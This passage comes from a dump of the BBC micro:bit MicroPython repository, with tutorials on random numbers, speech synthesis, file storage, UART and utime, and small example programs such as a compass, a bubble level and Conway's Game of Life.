    "content": "Random\n------\n\nSometimes you want to leave things to chance, or mix it up a little: you want\nthe device to act randomly.\n\nMicroPython comes with a ``random`` module to make it easy to introduce chance\nand a little chaos into your code. For example, here's how to scroll a random\nname across the display::\n\n    from microbit import *\n    import random\n\n    names = [\"Mary\", \"Yolanda\", \"Damien\", \"Alia\", \"Kushal\", \"Mei Xiu\", \"Zoltan\" ]\n\n    display.scroll(random.choice(names))\n\nThe list (``names``) contains seven names defined as strings of characters.\nThe final line is *nested* (the \"onion\" effect introduced earlier): the\n``random.choice`` method takes the ``names`` list as an argument and returns\nan item chosen at random. This item (the randomly chosen name) is the argument\nfor ``display.scroll``.\n\nCan you modify the list to include your own set of names?\n\nRandom Numbers\n++++++++++++++\n\nRandom numbers are very useful. They're common in games. Why else do we have\ndice?\n\nMicroPython comes with several useful random number methods. Here's how to\nmake a simple dice::\n\n    from microbit import *\n    import random\n\n    display.show(str(random.randint(1, 6)))\n\nEvery time the device is reset it displays a number between 1 and 6. You're\nstarting to get familiar with *nesting*, so it's important to note that\n``random.randint`` returns a whole number between the two arguments, inclusive\n(a whole number is also called an integer - hence the name of the method).\nNotice that because ``display.show`` expects a character then we use the\n``str`` function to turn the numeric value into a character (we turn, for\nexample, ``6`` into ``\"6\"``).\n\nIf you know you'll always want a number between ``0`` and ``N`` then use the\n``random.randrange`` method. If you give it a single argument it'll return\nrandom integers up to, but not including, the value of the argument ``N``\n(this is different to the behaviour of ``random.randint``).\n\nSometimes you need numbers with a decimal point in them. These are called\n*floating point* numbers and it's possible to generate such a number with the\n``random.random`` method. This only returns values between ``0.0`` and ``1.0``\ninclusive. If you need larger random floating point numbers add the results\nof ``random.randrange`` and ``random.random`` like this::\n\n    from microbit import *\n    import random\n\n    answer = random.randrange(100) + random.random()\n    display.scroll(str(answer))\n\nSeeds of Chaos\n++++++++++++++\n\nThe random number generators used by computers are not truly random. They just\ngive random like results given a starting *seed* value. The seed is often\ngenerated from random-ish values such as the current time and/or readings from\nsensors such as the thermometers built into chips.\n\nSometimes you want to have repeatable random-ish behaviour: a source of\nrandomness that is reproducible. It's like saying that you need the same five\nrandom values each time you throw a dice.\n\nThis is easy to achieve by setting the *seed* value. Given a known seed the\nrandom number generator will create the same set of random numbers. The seed is\nset with ``random.seed`` and any whole number (integer). This version of the\ndice program always produces the same results::\n\n    from microbit import *\n    import random\n\n    random.seed(1337)\n    while True:\n        if button_a.was_pressed():\n            display.show(str(random.randint(1, 6)))\n\nCan you work out why this program needs us to press button A instead of reset\nthe device as in the first dice example..?\n"
  },
  {
    "path": "micropython/docs/tutorials/speech.rst",
    "content": "Speech\n------\n\n.. warning::\n\n    WARNING! THIS IS ALPHA CODE.\n\n    We reserve the right to change this API as development continues.\n\n    The quality of the speech is not great, merely \"good enough\". Given the\n    constraints of the device you may encounter memory errors and / or\n    unexpected extra sounds during playback. It's early days and we're\n    improving the code for the speech synthesiser all the time. Bug reports\n    and pull requests are most welcome.\n\nComputers and robots that talk feel more \"human\".\n\nSo often we learn about what a computer is up to through a graphical user\ninterface (GUI). In the case of a BBC micro:bit the GUI is a 5x5 LED matrix,\nwhich leaves a lot to be desired.\n\nGetting the micro:bit talk to you is one way to express information in a fun,\nefficient and useful way. To this end, we have integrated a simple speech\nsynthesiser based upon a reverse-engineered version of a synthesiser from the\nearly 1980s. It sounds very cute, in an \"all humans must die\" sort of a way.\n\nWith this in mind, we're going to use the speech synthesiser to create...\n\nDALEK Poetry\n++++++++++++\n\n.. image:: dalek.jpg\n\nIt's a little known fact that DALEKs enjoy poetry ~ especially limericks.\nThey go wild for anapestic meter with a strict AABBA form. Who'd have thought?\n\n(Actually, as we'll learn below, it's The Doctor's fault DALEKs like limericks,\nmuch to the annoyance of Davros.)\n\nIn any case, we're going to create a DALEK poetry recital on demand.\n\nSay Something\n+++++++++++++\n\nBefore the device can talk you need to plug in a speaker like this:\n\n.. image:: ../speech.png\n\nThe simplest way to get the device to speak is to import the ``speech`` module\nand use the ``say`` function like this::\n\n    import speech\n\n    speech.say(\"Hello, World\")\n\nWhile this is cute it's certainly not DALEK enough for our taste, so we need to\nchange some of the parameters that the speech synthesiser uses to produce the\nvoice. Our speech synthesiser is quite powerful in this respect because we can\nchange four parameters:\n\n* ``pitch`` - how high or low the voice sounds (0 = high, 255 = Barry White)\n* ``speed`` - how quickly the device talks (0 = impossible, 255 = bedtime story)\n* ``mouth`` - how tight-lipped or overtly enunciating the voice sounds (0 = ventriloquist's dummy, 255 = Foghorn Leghorn)\n* ``throat`` - how relaxed or tense is the tone of voice (0 = falling apart, 255 = totally chilled)\n\nCollectively, these parameters control the quality of sound - a.k.a. the\ntimbre. To be honest, the best way to get the tone of voice you want is to\nexperiment, use your judgement and adjust.\n\nTo adjust the settings you pass them in as arguments to the ``say`` function.\nMore details can be found in the ``speech`` module's API documentation.\n\nAfter some experimentation we've worked out this sounds quite DALEK-esque::\n\n    speech.say(\"I am a DALEK - EXTERMINATE\", speed=120, pitch=100, throat=100, mouth=200)\n\nPoetry on Demand\n++++++++++++++++\n\nBeing Cyborgs DALEKs use their robot capabilities to compose poetry and it\nturns out that the algorithm they use is written in Python like this::\n\n    # DALEK poetry generator, by The Doctor\n    import speech\n    import random\n    from microbit import sleep\n\n    # Randomly select fragments to interpolate into the template.\n    location = random.choice([\"brent\", \"trent\", \"kent\", \"tashkent\"])\n    action = random.choice([\"wrapped up\", \"covered\", \"sang to\", \"played games with\"])\n    obj = random.choice([\"head\", \"hand\", \"dog\", \"foot\"])\n    prop = random.choice([\"in a tent\", \"with cement\", \"with some scent\",\n                         \"that was bent\"])\n    result = random.choice([\"it ran off\", \"it glowed\", \"it blew up\",\n                           \"it turned blue\"])\n    attitude = random.choice([\"in the park\", \"like a shark\", \"for a lark\",\n                             \"with a bark\"])\n    conclusion = random.choice([\"where it went\", \"its intent\", \"why it went\",\n                               \"what it meant\"])\n\n    # A template of the poem. The {} are replaced by the named fragments.\n    poem = [\n        \"there was a young man from {}\".format(location),\n        \"who {} his {} {}\".format(action, obj, prop),\n        \"one night after dark\",\n        \"{} {}\".format(result, attitude),\n        \"and he never worked out {}\".format(conclusion),\n        \"EXTERMINATE\",\n    ]\n\n    # Loop over each line in the poem and use the speech module to recite it.\n    for line in poem:\n        speech.say(line, speed=120, pitch=100, throat=100, mouth=200)\n        sleep(500)\n\nAs the comments demonstrate, it's a very simple in design:\n\n* Named fragments (``location``, ``prop``, ``attitude`` etc) are randomly generated from pre-defined lists of possible values. Note the use of ``random.choice`` to select a single item from a list.\n* A template of a poem is defined as a list of stanzas with \"holes\" in them (denoted by ``{}``) into which the named fragments will be put using the ``format`` method.\n* Finally, Python loops over each item in the list of filled-in poetry stanzas and uses ``speech.say`` with the settings for the DALEK voice to recite the poem. A pause of 500 milliseconds is inserted between each line because even DALEKs need to take a breath.\n\nInterestingly the original poetry related routines were written by Davros in\n`FORTRAN <https://en.wikipedia.org/wiki/Fortran>`_ (an appropriate\nlanguage for DALEKS since you type it ALL IN CAPITAL LETTERS). However, The\nDoctor went back in time to precisely the point between Davros's\n`unit tests <https://en.wikipedia.org/wiki/Unit_testing>`_\npassing and the\n`deployment pipeline <https://en.wikipedia.org/wiki/Continuous_delivery>`_\nkicking in. At this instant he was able to insert a MicroPython interpreter\ninto the DALEK operating system and the code you see above into the DALEK\nmemory banks as a sort of long hidden Time-Lord\n`Easter Egg <https://en.wikipedia.org/wiki/Easter_egg_(media)>`_ or\n`Rickroll <https://www.youtube.com/watch?v=dQw4w9WgXcQ>`_.\n\nPhonemes\n++++++++\n\nYou'll notice that sometimes, the ``say`` function doesn't accurately translate\nfrom English words into the correct sound. To have fine grained control of the\noutput, use phonemes: the building-block sounds of language.\n\nThe advantage of using phonemes is that you don't have to know how to spell!\nRather, you only have to know how to say the word in order to spell it\nphonetically.\n\nA full list of the phonemes the speech synthesiser understands can be found in\nthe API documentation for speech. Alternatively, save yourself a lot of time by\npassing in English words to the ``translate`` function. It'll return a first\napproximation of the phonemes it would use to generate the audio. This result\ncan be hand-edited to improve the accuracy, inflection and emphasis (so it\nsounds more natural).\n\nThe ``pronounce`` function is used for phoneme output like this::\n\n    speech.pronounce(\"/HEH5EH4EH3EH2EH2EH3EH4EH5EHLP.”)\n\nHow could you improve on The Doctor's code to make it use phonemes?\n\nSing A Song of Micro:bit\n++++++++++++++++++++++++\n\nBy changing the ``pitch`` setting and calling the ``sing`` function it's\npossible to make the device sing (although it's not going to win Eurovision any\ntime soon).\n\nThe mapping from pitch numbers to musical notes is shown below:\n\n.. image:: ../speech-pitch.png\n\nThe ``sing`` function must take phonemes and pitch as input like this::\n\n    speech.sing(\"#115DOWWWW\")\n\nNotice how the pitch to be sung is prepended to the phoneme with a hash\n(``#``). The pitch will remain the same for subsequent phonemes until a new\npitch is annotated.\n\nThe following example demonstrates how all three generative functions (``say``,\n``pronounce`` and ``sing``) can be used to produce speech like output:\n\n.. include:: ../../examples/speech.py\n    :code: python\n\n.. footer:: The image of the DALEK is licensed as per the details here: https://commons.wikimedia.org/wiki/File:Dalek_(Dr_Who).jpg The image of DAVROS is licensed as per the details here: https://en.wikipedia.org/wiki/File:Davros_and_Daleks.jpg\n\n"
  },
  {
    "path": "micropython/docs/tutorials/storage.rst",
    "content": "Storage\n-------\n\nSometimes you need to store useful information. Such information is stored as\ndata: representation of information (in a digital form when stored on\ncomputers). If you store data on a computer it should persist, even if you\nswitch the device off and on again.\n\nHappily MicroPython on the micro:bit allows you to do this with a very simple\nfile system. Because of memory constraints **there is approximately 30k of\nstorage available** on the file system. \n\n.. note::\n\n    The micropython file system should not be confused\n    with the micro:bit mass storage mode which presents the device as a USB drive. \n    Mass storage mode is only intended for copying across a HEX file, so you won't\n    see files you create using the file system appearing on the MICROBIT drive.\n\nWhat is a file system?\n\nIt's a means of storing and organising data in a persistent manner - any data\nstored in a file system should survive restarts of the device. As the name\nsuggests, data stored on a file system is organised into files.\n\n.. image:: files.jpg\n\nA computer file is a named digital resource that's stored on a file system.\nSuch resources contain useful information as data. This is exactly how a\npaper file works. It's a sort of named container that contains useful\ninformation. Usually, both paper and digital files are named to indicate what\nthey contain. On computers it is common to end a file with a ``.something``\nsuffix. Usually, the \"something\" indicates what type of data is used to\nrepresent the information. For example, ``.txt`` indicates a text file,\n``.jpg`` a JPEG image and ``.mp3`` sound data encoded as MP3.\n\nSome file systems (such as the one found on your laptop or PC) allow you to\norganise your files into directories: named containers that group related files\nand sub-directories together. However, *the file system provided by MicroPython\nis a flat file system*. A flat file system does not have directories - all\nyour files are just stored in the same place.\n\nThe Python programming language contains easy to use and powerful ways in which\nto work with a computer's file system. MicroPython on the micro:bit implements\na useful subset of these features to make it easy to read and write files on\nthe device, while also providing consistency with other versions of Python.\n\n.. warning::\n\n    Flashing your micro:bit will DESTROY ALL YOUR DATA since it re-writes all\n    the flash memory used by the device and the file system is stored in the\n    flash memory.\n\n    However, if you switch off your device the data will remain intact until\n    you either delete it or re-flash the device.\n\nOpen Sesame\n+++++++++++\n\nReading and writing a file on the file system is achieved by the ``open``\nfunction. Once a file is opened you can do stuff with it until you close it\n(analogous with the way we use paper files). It is essential you close a file\nso MicroPython knows you've finished with it.\n\nThe best way to make sure of this is to use the ``with`` statement like this::\n\n    with open('story.txt') as my_file:\n        content = my_file.read()\n    print(content)\n\nThe ``with`` statement uses the ``open`` function to open a file and assign it\nto an object. In the example above, the ``open`` function opens the file called\n``story.txt`` (obviously a text file containing a story of some sort).\nThe object that's used to represent the file in the Python code is called\n``my_file``. Subsequently, in the code block indented underneath the ``with``\nstatement, the ``my_file`` object is used to ``read()`` the content of the\nfile and assign it to the ``content`` object.\n\nHere's the important point, *the next line containing the* ``print`` *statement\nis not indented*. The code block associated with the ``with`` statement is only\nthe single line that reads the file. Once the code block associated with the\n``with`` statement is closed then Python (and MicroPython) will automatically\nclose the file for you. This is called context handling and the ``open``\nfunction creates objects that are context handlers for files.\n\nPut simply, the scope of your interaction with a file is defined by the code\nblock associated with the ``with`` statement that opens the file.\n\nConfused?\n\nDon't be. I'm simply saying your code should look like this::\n\n    with open('some_file') as some_object:\n        # Do stuff with some_object in this block of code\n        # associated with the with statement.\n\n    # When the block is finished then MicroPython\n    # automatically closes the file for you.\n\nJust like a paper file, a digital file is opened for two reasons: to read its\ncontent (as demonstrated above) or to write something to the file. The default\nmode is to read the file. If you want to write to a file you need to tell the\n``open`` function in the following way::\n\n    with open('hello.txt', 'w') as my_file:\n        my_file.write(\"Hello, World!\")\n\nNotice the ``'w'`` argument is used to set the ``my_file`` object into write\nmode. You could also pass an ``'r'`` argument to set the file object to read\nmode, but since this is the default, it's often left off.\n\nWriting data to the file is done with the (you guessed it) ``write``\nmethod that takes the string you want to write to the file as an argument. In\nthe example above, I write the text \"Hello, World!\" to a file called\n\"hello.txt\".\n\nSimple!\n\n.. note::\n\n    When you open a file and write (perhaps several times while the file is\n    in an open state) you will be writing OVER the content of the file if it\n    already exists.\n\n    If you want to append data to a file you should first read it, store the\n    content somewhere, close it, append your data to the content and then open\n    it to write again with the revised content.\n\n    While this is the case in MicroPython, \"normal\" Python can open\n    files to write in \"append\" mode. That we can't do this on the micro:bit is\n    a result of the simple implementation of the file system.\n\nOS SOS\n++++++\n\nAs well as reading and writing files, Python can manipulate them. You\ncertainly need to know what files are on the file system and sometimes\nyou need to delete them too.\n\nOn a regular computer, it is the role of the operating system (like Windows,\nOSX or Linux) to manage this on Python's behalf. Such functionality is made\navailable in Python via a module called ``os``. Since MicroPython **is** the\noperating system we've decided to keep the appropriate functions in the ``os``\nmodule for consistency so you'll know where to find them when you use \"regular\"\nPython on a device like a laptop or Raspberry Pi.\n\nEssentially, you can do three operations related to the file system: list the\nfiles, remove a file and ask for the size of a file.\n\nTo list the files on your file system use the ``listdir`` function. It\nreturns a list of strings indicating the file names of the files on the file\nsystem::\n\n    import os\n    my_files = os.listdir()\n\nTo delete a file use the ``remove`` function. It takes a string representing\nthe file name of the file you want to delete as an argument, like this::\n\n    import os\n    os.remove('filename.txt')\n\nFinally, sometimes it's useful to know how big a file is before reading from\nit. To achieve this use the ``size`` function. Like the ``remove`` function, it\ntakes a string representing the file name of the file whose size you want to\nknow. It returns an integer (whole number) telling you the number of bytes the\nfile takes up::\n\n    import os\n    file_size = os.size('a_big_file.txt')\n\nIt's all very well having a file system, but what if we want to put or get\nfiles on or off the device?\n\nJust use the ``microfs`` utility!\n\nFile Transfer\n+++++++++++++\n\nIf you have Python installed on the computer you use to program your BBC\nmicro:bit then you can use a special utility called ``microfs`` (shortened to\n``ufs`` when using it in the command line). Full instructions for installing\nand using all the features of microfs can be found\n`in its documentation <https://microfs.readthedocs.io>`_.\n\nNevertheless it's possible to do most of the things you need with just four\nsimple commands::\n\n    $ ufs ls\n    story.txt\n\nThe ``ls`` sub-command lists the files on the file system (it's named after\nthe common Unix command, ``ls``, that serves the same function).\n\n::\n\n    $ ufs get story.txt\n\nThe ``get`` sub-command gets a file from the connected micro:bit and saves it\ninto your current location on your computer (it's named after the ``get``\ncommand that's part of the common file transfer protocol [FTP] that serves the\nsame function).\n\n::\n\n    $ ufs rm story.txt\n\nThe ``rm`` sub-command removes the named file from the file system on the\nconnected micro:bit (it's named after the common Unix command, ``rm``, that\nserves the same function).\n\n::\n\n    $ ufs put story2.txt\n\nFinally, the ``put`` sub-command puts a file from your computer onto the\nconnected device (it's named after the ``put`` command that's part of FTP that\nserves the same function).\n\nMainly main.py\n++++++++++++++\n\nThe file system also has an interesting property: if you just flashed the\nMicroPython runtime onto the device then when it starts it's simply waiting\nfor something to do. However, if you copy a special file called ``main.py``\nonto the file system, upon restarting the device, MicroPython will run the\ncontents of the ``main.py`` file.\n\nFurthermore, if you copy other Python files onto the file system then you can\n``import`` them as you would any other Python module. For example, if you had\na ``hello.py`` file that contained the following simple code::\n\n    def say_hello(name=\"World\"):\n        return \"Hello, {}!\".format(name)\n\n...you could import and use the ``say_hello`` function like this::\n\n    from microbit import display\n    from hello import say_hello\n\n    display.scroll(say_hello())\n\nOf course, it results in the text \"Hello, World!\" scrolling across the\ndisplay. The important point is that such an example is split between two\nPython modules and the ``import`` statement is used to share code.\n\n.. note::\n    If you have flashed a script onto the device in addition to the MicroPython\n    runtime, then MicroPython will ignore ``main.py`` and run your embedded\n    script instead.\n\n    To flash just the MicroPython runtime, simply make sure the script you\n    may have written in your editor has zero characters in it. Once flashed\n    you'll be able to copy over a ``main.py`` file.\n\n.. footer:: The image of paper files is used under a Creative Commons License and is available here: https://www.flickr.com/photos/jenkim/2270085025\n"
  },
  {
    "path": "micropython/docs/uart.rst",
    "content": "UART\n****\n\n.. py:module:: microbit.uart\n\nThe ``uart`` module lets you talk to a device connected to your board using\na serial interface.\n\n\nFunctions\n=========\n\n.. method:: init(baudrate=9600, bits=8, parity=None, stop=1, \\*, tx=None, rx=None)\n\n    Initialize serial communication with the specified parameters on the\n    specified ``tx`` and ``rx`` pins. Note that for correct communication, the parameters\n    have to be the same on both communicating devices.\n\n    .. warning::\n\n        Initializing the UART on external pins will cause the Python console on\n        USB to become unaccessible, as it uses the same hardware. To bring the\n        console back you must reinitialize the UART without passing anything for\n        ``tx`` or ``rx`` (or passing ``None`` to these arguments).  This means\n        that calling ``uart.init(115200)`` is enough to restore the Python console.\n\n    The ``baudrate`` defines the speed of communication. Common baud\n    rates include:\n\n        * 9600\n        * 14400\n        * 19200\n        * 28800\n        * 38400\n        * 57600\n        * 115200\n\n    The ``bits`` defines the size of bytes being transmitted, and the board\n    only supports 8. The ``parity`` parameter defines how parity is checked,\n    and it can be ``None``, ``microbit.uart.ODD`` or ``microbit.uart.EVEN``.\n    The ``stop`` parameter tells the number of stop bits, and has to be 1 for\n    this board.\n\n    If ``tx`` and ``rx`` are not specified then the internal USB-UART TX/RX pins\n    are used which connect to the USB serial converter on the micro:bit, thus\n    connecting the UART to your PC.  You can specify any other pins you want by\n    passing the desired pin objects to the ``tx`` and ``rx`` parameters.\n\n    .. note::\n\n        When connecting the device, make sure you \"cross\" the wires -- the TX\n        pin on your board needs to be connected with the RX pin on the device,\n        and the RX pin -- with the TX pin on the device. Also make sure the\n        ground pins of both devices are connected.\n\n\n.. method:: uart.any()\n\n   Return ``True`` if any data is waiting, else ``False``.\n\n.. method:: uart.read([nbytes])\n\n    Read bytes.  If ``nbytes`` is specified then read at most that many\n    bytes, otherwise read as many bytes as possible.\n\n    Return value: a bytes object or ``None`` on timeout.\n\n    A bytes object contains a sequence of bytes. Because\n    `ASCII <https://en.wikipedia.org/wiki/ASCII>`_ characters can fit in\n    single bytes this type of object is often used to represent simple text\n    and offers methods to manipulate it as such, e.g. you can display the text\n    using the ``print()`` function.\n\n    You can also convert this object into a string object, and if there are\n    non-ASCII characters present the encoding can be specified::\n\n        msg_bytes = uart.read()\n        msg_str = str(msg, 'UTF-8')\n\n    .. note::\n\n        The timeout for all UART reads depends on the baudrate and is otherwise\n        not changeable via Python. The timeout, in milliseconds, is given by:\n        ``microbit_uart_timeout_char = 13000 / baudrate + 1``\n\n    .. note::\n\n        The internal UART RX buffer is 64 bytes, so make sure data is read\n        before the buffer is full or some of the data might be lost.\n\n    .. warning::\n\n        Receiving ``0x03`` will stop your program by raising a Keyboard\n        Interrupt. You can enable or disable this using\n        :func:`micropython.kbd_intr()`.\n\n.. method:: uart.readall()\n\n    Removed since version 1.0.\n\n    Instead, use :func:`uart.read()` with no arguments, which will read as much data\n    as possible.\n\n.. method:: uart.readinto(buf[, nbytes])\n\n   Read bytes into the ``buf``.  If ``nbytes`` is specified then read at most\n   that many bytes.  Otherwise, read at most ``len(buf)`` bytes.\n\n   Return value: number of bytes read and stored into ``buf`` or ``None`` on\n   timeout.\n\n.. method:: uart.readline()\n\n   Read a line, ending in a newline character.\n\n   Return value: the line read or ``None`` on timeout. The newline character is\n   included in the returned bytes.\n\n.. method:: uart.write(buf)\n\n    Write the buffer to the bus, it can be a bytes object or a string::\n\n        uart.write('hello world')\n        uart.write(b'hello world')\n        uart.write(bytes([1, 2, 3]))\n\n    Return value: number of bytes written or ``None`` on timeout.\n"
  },
  {
    "path": "micropython/docs/utime.rst",
    "content": "..\n   MicroPython license information\n   ===============================\n\n   The MIT License (MIT)\n\n   Copyright (c) 2013-2017 Damien P. George, and others\n\n   Permission is hereby granted, free of charge, to any person obtaining a copy\n   of this software and associated documentation files (the \"Software\"), to deal\n   in the Software without restriction, including without limitation the rights\n   to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n   copies of the Software, and to permit persons to whom the Software is\n   furnished to do so, subject to the following conditions:\n\n   The above copyright notice and this permission notice shall be included in\n   all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n   IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n   AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n   OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n   THE SOFTWARE.\n\n\nutime\n*****\n\n.. py:module:: utime\n\nThe ``utime`` module provides functions for getting the current time and date, \nmeasuring time intervals, and for delays.\n\n.. note::\n    The ``utime`` module is a MicroPython implementation of the standard Python \n    ``time`` module. It can be imported using both ``import utime`` and \n    ``import time``, but the module is the same.\n\n\nFunctions\n=========\n\n.. method:: utime.sleep(seconds)\n\n    Sleep for the given number of seconds. You can use a floating-point number \n    to sleep for a fractional number of seconds, or use the \n    :func:`utime.sleep_ms()` and :func:`utime.sleep_us()` functions.\n\n\n.. method:: utime.sleep_ms(ms)\n\n    Delay for given number of milliseconds, should be positive or 0.\n\n\n.. method:: utime.sleep_us(us)\n\n    Delay for given number of microseconds, should be positive or 0.\n\n\n.. method:: utime.ticks_ms()\n\n    Returns an increasing millisecond counter with an arbitrary reference point, \n    that wraps around after some value.\n\n\n.. method:: utime.ticks_us()\n\n    Just like :func:`utime.ticks_ms()` above, but in microseconds.\n\n\n.. method:: utime.ticks_add(ticks, delta)\n\n    Offset ticks value by a given number, which can be either positive or \n    negative. Given a ticks value, this function allows to calculate ticks \n    value delta ticks before or after it, following modular-arithmetic \n    definition of tick values.\n\n    Example:\n\n    .. code-block:: python\n\n        # Find out what ticks value there was 100ms ago\n        print(ticks_add(time.ticks_ms(), -100))\n\n        # Calculate deadline for operation and test for it\n        deadline = ticks_add(time.ticks_ms(), 200)\n        while ticks_diff(deadline, time.ticks_ms()) > 0:\n            do_a_little_of_something()\n\n        # Find out TICKS_MAX used by this port\n        print(ticks_add(0, -1))\n\n\n.. method:: utime.ticks_diff(ticks1, ticks2)\n\n    Measure ticks difference between values returned from \n    :func:`utime.ticks_ms()` or :func:`ticks_us()` functions, as a signed value\n    which may wrap around.\n\n    The argument order is the same as for subtraction operator, \n    ``ticks_diff(ticks1, ticks2)`` has the same meaning as ``ticks1 - ticks2``.\n\n    :func:`utime.ticks_diff()` is designed to accommodate various usage \n    patterns, among them:\n\n    Polling with timeout. In this case, the order of events is known, and you\n    will deal only with positive results of :func:`utime.ticks_diff()`:\n\n    .. code-block:: python\n\n        # Wait for GPIO pin to be asserted, but at most 500us\n        start = time.ticks_us()\n        while pin.value() == 0:\n            if time.ticks_diff(time.ticks_us(), start) > 500:\n                raise TimeoutError\n\n\n    Scheduling events. In this case, :func:`utime.ticks_diff()` result may be\n    negative if an event is overdue:\n\n\n    .. code-block:: python\n\n        # This code snippet is not optimized\n        now = time.ticks_ms()\n        scheduled_time = task.scheduled_time()\n        if ticks_diff(scheduled_time, now) > 0:\n            print(\"Too early, let's nap\")\n            sleep_ms(ticks_diff(scheduled_time, now))\n            task.run()\n        elif ticks_diff(scheduled_time, now) == 0:\n            print(\"Right at time!\")\n            task.run()\n        elif ticks_diff(scheduled_time, now) < 0:\n            print(\"Oops, running late, tell task to run faster!\")\n            task.run(run_faster=true)"
  },
  {
    "path": "micropython/examples/analog_watch.py",
    "content": "from microbit import *\n\nhands = Image.ALL_CLOCKS\n\n#A centre dot of brightness 2.\nticker_image = Image(\"2\\n\").crop(-2,-2,5,5)\n\n#Adjust these to taste\nMINUTE_BRIGHT = 0.1111\nHOUR_BRIGHT = 0.55555\n\n#Generate hands for 5 minute intervals\ndef fiveticks():\n    fivemins = 0\n    hours = 0\n    while True:\n        yield  hands[fivemins]*MINUTE_BRIGHT + hands[hours]*HOUR_BRIGHT\n        fivemins = (fivemins+1)%12\n        hours = (hours + (fivemins == 0))%12\n\n#Generate hands with ticker superimposed for 1 minute intervals.      \ndef ticks():\n    on = True\n    for face in fiveticks():\n        for i in range(5):\n            if on:\n                yield face + ticker_image\n            else:\n                yield face - ticker_image\n            on = not on\n\n#Run a clock speeded up 60 times, so we can watch the animation.\nfor tick in ticks():\n    display.show(tick)\n    sleep(1000)\n"
  },
  {
    "path": "micropython/examples/asmleds.py",
    "content": "\"\"\"\nThis script uses the inline assembler to make the LEDs light up\nin a pattern based on how they are multiplexed in rows/cols.\n\"\"\"\n\n# row pins: 13, 14, 15\n# col pins: 4..12 inclusive\n# GPIO words starting at 0x50000500:\n#   RESERVED, OUT, OUTSET, OUTCLR, IN, DIR, DIRSET, DIRCLR\n\n@micropython.asm_thumb\ndef led_cycle():\n    b(START)\n\n    # DELAY routine\n    label(DELAY)\n    mov(r3, 0xa0)\n    lsl(r3, r3, 11)\n    label(delay_loop)\n    sub(r3, 1)\n    bne(delay_loop)\n    bx(lr)\n\n    label(START)\n\n    cpsid('i')          # disable interrupts so we control the display\n\n    mov(r0, 0x50)       # r0=0x50\n    lsl(r0, r0, 16)     # r0=0x500000\n    add(r0, 0x05)       # r0=0x500005\n    lsl(r0, r0, 8)      # r0=0x50000500 -- this points to GPIO registers\n    mov(r1, 0b111)\n    lsl(r1, r1, 13)     # r1=0xe000\n    str(r1, [r0, 8])    # pull all rows high\n\n    mov(r1, 1 << 4)     # r1 holds current col bit\n    mov(r2, 9)          # r2 holds number of cols left\n    label(loop_on)\n    str(r1, [r0, 12])   # pull col low to turn LEDs on\n    bl(DELAY)           # wait\n    lsl(r1, r1, 1)      # shift to next col\n    sub(r2, 1)          # decrease col counter\n    bne(loop_on)        # loop while there are still cols left\n\n    mov(r1, 1 << 4)     # r1 holds current col bit\n    mov(r2, 9)          # r2 holds number of cols left\n    label(loop_off)\n    str(r1, [r0, 8])    # pull col high to turn LEDs off\n    bl(DELAY)           # wait\n    lsl(r1, r1, 1)      # shift to next col\n    sub(r2, 1)          # decrease col counter\n    bne(loop_off)       # loop while there are still cols left\n\n    cpsie('i')      # enable interrupts\n\nfor i in range(4):\n    led_cycle()\n"
  },
  {
    "path": "micropython/examples/bubble_level_2d.py",
    "content": "\"\"\"\nTwo-dimensional bubble level which uses the accelerometer.\n\"\"\"\n\nfrom microbit import *\n\nsensitivity = 'medium'  # Change to 'low', 'medium', or 'high' to adjust\ndivisors = {'low':64, 'medium':32, 'high':16}\n\ndef clamp(number, min, max):\n    \"\"\"Returns number limited to range specified by min and max, inclusive\"\"\"\n    if number < min:\n        return min\n    elif number > max:\n        return max\n    else:\n        return number\n\nwhile True:\n    x_grav, y_grav, _ = accelerometer.get_values()\n    # Map raw values from accelerometer to pixels on display\n    x_pixel = 4 - clamp(2 + x_grav // divisors.get(sensitivity), 0, 4)\n    y_pixel = 4 - clamp(2 + y_grav // divisors.get(sensitivity), 0, 4)\n    display.clear()\n    display.set_pixel(x_pixel, y_pixel, 9)\n    sleep(100)"
  },
  {
    "path": "micropython/examples/compass.py",
    "content": "\"\"\"\n    compass.py\n    ~~~~~~~~~~\n\n    Creates a compass.\n\n    The user will need to calibrate the compass first. The compass uses the\n    built-in clock images to display the position of the needle.\n\n\"\"\"\nfrom microbit import *\n\n\n# Start calibrating\ncompass.calibrate()\n\n# Try to keep the needle pointed in (roughly) the correct direction\nwhile True:\n    sleep(100)\n    needle = ((15 - compass.heading()) // 30) % 12\n    display.show(Image.ALL_CLOCKS[needle])\n"
  },
  {
    "path": "micropython/examples/conway.py",
    "content": "'''\nConway's Game Of Life for the micro:bit\n\nPress button A or tap the micro:bit to generate a fresh layout.\n'''\n\nimport microbit\nimport random\n\narena1 = bytearray(7 * 7)\narena2 = bytearray(7 * 7)\n\ndef show():\n    img = microbit.Image(5,5)\n    for y in range(5):\n        for x in range(5):\n            img.set_pixel(x, y, arena1[8 + y * 7 + x]*9)\n    microbit.display.show(img)\n\n# do 1 iteration of Conway's Game of Life\ndef conway_step():\n    global arena1, arena2\n    for i in range(5 * 5): # loop over pixels\n        i = 8 + (i // 5) * 7 + i % 5\n        # count number of neighbours\n        num_neighbours = (arena1[i - 8] +\n                arena1[i - 7] +\n                arena1[i - 6] +\n                arena1[i - 1] +\n                arena1[i + 1] +\n                arena1[i + 6] +\n                arena1[i + 7] +\n                arena1[i + 8])\n        # check if the centre cell is alive or not\n        self = arena1[i]\n        # apply the rules of life\n        if self and not (2 <= num_neighbours <= 3):\n            arena2[i] = 0 # not enough, or too many neighbours: cell dies\n        elif not self and num_neighbours == 3:\n            arena2[i] = 1 # exactly 3 neighbours around an empty cell: cell is born\n        else:\n            arena2[i] = self # stay as-is\n    # swap the buffers (arena1 is now the new one to display)\n    arena1, arena2 = arena2, arena1\n\nwhile True:\n    # randomise the start\n    for i in range(5 * 5): # loop over pixels\n        i = 8 + (i // 5) * 7 + i % 5\n        arena1[i] = random.randrange(2) # set the pixel randomly\n    show()\n    microbit.sleep(1) # need to yield to update accelerometer (not 